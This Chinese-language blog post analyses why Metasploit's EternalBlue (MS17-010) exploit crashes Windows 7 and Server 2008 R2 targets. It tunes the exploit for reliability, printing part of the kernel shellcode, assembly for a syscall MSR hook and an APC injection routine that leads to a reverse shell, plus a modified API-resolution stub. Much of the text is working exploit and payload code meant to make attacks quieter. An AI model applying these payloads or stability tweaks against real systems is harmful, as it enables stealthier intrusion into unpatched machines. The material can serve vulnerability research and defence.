永恒之蓝MS17_010漏洞的攻击代码已经被集成到了metasploit框架中,
其中,exploit/windows/smb/ms17_010_eternalblue是一个较常用的攻击模块。该模块可以对
Windows 7 and Server 2008 R2 (x64) All Service Packs 目标系统发起攻击,但是在实际的攻击测试中,我们发现这个攻击模块会有一定的概率导致目标系统重启,Windows会弹出一个提示框。
“
Windows has encountered a critical problem and will restart automatically in one minute
”
经过一分钟之后,windows就会自动重启。从追求漏洞利用稳定性的角度,我们希望漏洞利用能”不谈不卡不闪”,当然最希望的是漏洞利用不要把系统搞崩溃/重启了。
本篇文章我们就给大家介绍怎么去解决这个问题。
下面我们就分析下系统重启的原因以及怎么样优化漏洞利用来避免这个问题
除了上面的弹窗信息外,系统还给了一下的提示信息:
The process wininit.exe has initiated the restart of the computer {HOSTNAME} on behalf of the user for the following reason: No title for this reason could be found
Reason Code: 0x50006
Shutdown Type: restart
Comment: The system process 'C:\Windows\system32\lsass.exe' has terminated unexpectedly with status code 255. The system will now shut down and restart.
在网上查了一些这个错误,发现也没有特别有用的信息。
想到这个漏洞已经被爆出来很长时间了,网上肯定有人也遇到过这个问题。那么应该有人讨论过了。我们先在网络上查找下,找到了下面2个帖子:
https://github.com/rapid7/metasploit-framework/issues/8527
https://github.com/rapid7/metasploit-framework/pull/9601
其中一些回答的摘要如下:
我们可以从中得到一些信息,漏洞利用 和payload会影响到这个重启,并且payload越大,这个问题越容易发生。
那我们验证下是不是堆风水的不稳定导致了这个重启呢?
我们知道17010这个漏洞是堆越界写的漏洞,为了让这个越界写 能够写到特定的堆块,首先要利用堆风水对堆进行布局。大体过程如下:
那我们就需要分析下,是否因为堆风水的不稳定导致了重启。我们在越界写的地方下个条件断点观察下,
bp srv!SrvOs2FeaListToNt+0x55 "!pool rax;!pool rax+0x11000;gc"
*fffffa801b672000 : large page allocation, tag is LSdb, size is 0x11000 bytes
Pooltag LSdb : SMB1 data buffer, Binary : srv.sys
Pool page fffffa801b683000 region is Nonpaged pool
*fffffa801b683000 : large page allocation, tag is LSbf, size is 0x11000 bytes
Pooltag LSbf : SMB1 buffer descriptor or srvnet allocation, Binary : srvnet.sys
Shutdown occurred at (Wed Jul 17 15:01:35.476 2019 (UTC + 8:00))...unloading all symbol tables.
Waiting to reconnect...
Connected to Windows 7 7601 x64 target at (Wed Jul 17 15:02:06.446 2019 (UTC + 8:00)), ptr64 TRUE
从上面可以看到即便srvnet对象成功位于srv对象后面了,系统还是会发生重启。由此我们排除了重启并不是因为堆风水的问题。
那我们接下来试一下payload是否会影响系统重启。
若我们换一个很小的payload,攻击导致系统重启的概率会不会变低呢?为了解决这个疑问,我们做了个实验,将exploit/windows/smb/ms17_010_eternalblue的payload换成没有任何逻辑的 nop指令。
这里需要说明一下的是ms17_010_eternalblue的payload是分2部分的,我们的msf中set payload是设置第二阶段的payload,除了这个payload之外,在ms17_010_eternalblue.rb中还硬编码了一个引导payload(第一阶段),第一阶段payload部分字节码如下:
def make_kernel_shellcode(proc_name)
# see: external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm
# Length: 1019 bytes
# "\xcc"+
"\x31\xC9\x41\xE2\x01\xC3\xB9\x82\x00\x00\xC0\x0F\x32\x48\xBB\xF8" +
"\x0F\xD0\xFF\xFF\xFF\xFF\xFF\x89\x53\x04\x89\x03\x48\x8D\x05\x0A" +
"\x00\x00\x00\x48\x89\xC2\x48\xC1\xEA\x20\x0F\x30\xC3\x0F\x01\xF8" +
"\x65\x48\x89\x24\x25\x10\x00\x00\x00\x65\x48\x8B\x24\x25\xA8\x01" +
"\x00\x00\x50\x53\x51\x52\x56\x57\x55\x41\x50\x41\x51\x41\x52\x41" +
"\x53\x41\x54\x41\x55\x41\x56\x41\x57\x6A\x2B\x65\xFF\x34\x25\x10" +
…
"\x51\x56\x48\x89\xC2\x8B\x42\x3C\x48\x01\xD0\x8B\x80\x88\x00\x00" +
"\x00\x48\x01\xD0\x50\x8B\x48\x18\x44\x8B\x40\x20\x49\x01\xD0\x48" +
"\xFF\xC9\x41\x8B\x34\x88\x48\x01\xD6\xE8\x78\xFF\xFF\xFF\x45\x39" +
"\xD9\x75\xEC\x58\x44\x8B\x40\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48" +
"\x44\x8B\x40\x1C\x49\x01\xD0\x41\x8B\x04\x88\x48\x01\xD0\x5E\x59" +
"\x5A\x41\x58\x41\x59\x41\x5B\x41\x53\xFF\xE0\x56\x41\x57\x55\x48" +
"\x89\xE5\x48\x83\xEC\x20\x41\xBB\xDA\x16\xAF\x92\xE8\x4D\xFF\xFF" +
"\xFF\x31\xC9\x51\x51\x51\x51\x41\x59\x4C\x8D\x05\x1A\x00\x00\x00" +
"\x5A\x48\x83\xEC\x20\x41\xBB\x46\x45\x1B\x22\xE8\x68\xFF\xFF\xFF" +
"\x48\x89\xEC\x5D\x41\x5F\x5E\xC3"#\x01\x00\xC3"
end
很幸运,我们发现把payload改成nop之后,漏洞利用变得非常稳定。于是我们就确定了payload是导致系统重启的一个关键因素。
那下面我们尝试对payload进行优化来避免导致系统重启。Payload的链接如下:
https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm
对payload进行分析,payload的主要逻辑如下:
Payload开始执行后,先在内核层面劫持(hook)系统调用,把syscall handler 修改成x64_syscall_handler函数地址,这样当有系统调用发生时,x64_syscall_handler函数就会得以执行。
x64_syscall_overwrite:
mov ecx, 0xc0000082 ; IA32_LSTAR syscall MSR
rdmsr
;movabs rbx, 0xffffffffffd00ff8
db 0x48, 0xbb, 0xf8, 0x0f, 0xd0, 0xff, 0xff, 0xff, 0xff, 0xff
mov dword [rbx+0x4], edx ; save old syscall handler
mov dword [rbx], eax
lea rax, [rel x64_syscall_handler] ; load new syscall handler
mov rdx, rax
shr rdx, 0x20
wrmsr
ret
x64_syscall_handle 函数代码主要逻辑如下:
保存系统环境
调用x64_kernel_start,最终会触发APC向目标进程注入shellcode
恢复系统环境
执行真正的syscall handler
经测试发现,若把x64_kernel_start 逻辑改成比较简单的代码,那么漏洞攻击过程中不会造成系统重启;所以我们的目标就是尽可能去优化x64_kernel_start的代码
x64_kernel_start 的主要逻辑:
1 动态定位ntoskernl.exe模块地址
2 动态获取一些内核API函数的地址
hash("PsGetCurrentProcess")
hash("PsLookupProcessByProcessId")
hash("PsGetProcessImageFileName")
hash("PsGetThreadTeb")
hash("KeGetCurrentProcess")
hash("KeGetCurrentThread")
hash("KeInitializeApc")
hash("KeInsertQueueApc")
hash("KeStackAttachProcess")
hash("KeUnstackDetachProcess")
hash("ZwAllocateVirtualMemory")
hash("ExAllocatePool")
hash("ObDereferenceObject")
3 利用windows的apc机制将shellcode注入到目标进程中,异步执行第二阶段的payload,完成反弹shell的功能。
我们对x64_kernel_start分析发现,这个函数写的还是挺复杂的,那这个函数可以被修改吗?要怎么样修改?
分析发现,x64_kernel_start函数中,为了实现window APC 功能,需要动态定位ntoskernl.exe,需要动态定位和执行很多内核API,需要动态获取目标进程和线程,而这些功能中有一些是不需要在 x64_kernel_start函数也能实现的,我们可以把这些功能移到其它地方完成。
只把最终结果传给x64_kernel_start函数就行了。例如,动态定位ntoskernl.exe,动态定位很多内核API,我们就可以在hook syscall 之前就把这些功能实现了,然后把结果(函数地址,模块地址等)存到系统可以访问的地址空间里,例如0xffffffffffd04000。
下面是我对原payload进行优化的地方(部分),x64_block_api_direct函数被x64_kernel_start调用了多次,x64_block_api_direct每次被调用都要去PE文件的函数导出表中遍历查找要查询的函数,函数逻辑较复杂
x64_block_api_direct:
mov rax, r15 ; make copy of module
push r9 ; Save parameters
push r8
push rdx
push rcx
push rsi
mov rdx, rax
mov eax, dword [rdx+60] ; Get PE header e_lfanew
add rax, rdx
mov eax, dword [rax+136] ; Get export tables RVA
%ifdef ERROR_CHECKS
; test rax, rax ; EAT not found
; jz _block_api_not_found
%endif
add rax, rdx
push rax ; save EAT
mov ecx, dword [rax+24] ; NumberOfFunctions
mov r8d, dword [rax+32] ; FunctionNames
add r8, rdx
_x64_block_api_direct_get_next_func:
; When we reach the start of the EAT (we search backwards), we hang or crash
dec rcx ; decrement NumberOfFunctions
mov esi, dword [r8+rcx*4] ; Get rva of next module name
add rsi, rdx ; Add the modules base address
call x64_calc_hash
cmp r9d, r11d ; Compare the hashes
jnz _x64_block_api_direct_get_next_func ; try the next function
_x64_block_api_direct_finish:
pop rax ; restore EAT
mov r8d, dword [rax+36]
add r8, rdx ; ordinate table virtual address
mov cx, [r8+2*rcx] ; desired functions ordinal
mov r8d, dword [rax+28] ; Get the function addresses table rva
add r8, rdx ; Add the modules base address
mov eax, dword [r8+4*rcx] ; Get the desired functions RVA
add rax, rdx ; Add the modules base
address to get the functions actual VA
pop rsi
pop rcx
pop rdx
pop r8
pop r9
pop r11 ; pop ret addr
; sub rsp, 0x20 ; shadow space
push r11 ; push ret addr
jmp rax
这是我优化完之后的x64_block_api_direct函数的代码,大家可以看到函数代码非常简单,
x64_block_api_direct:
mov rax, r15 ; make copy of module
shl rdi,3
mov rax ,qword [0xffffffffffd04000+rdi]
jmp rax
修改完之后,我们在windows server 2008 R2(x64) 和windows7 sp1 (x64)测试了多次,漏洞攻击并没有造成系统重启。
PS:最近有换工作打算的小伙伴可以私信我啊,最近团队正在招人,安全研究/漏洞分析/IOT方向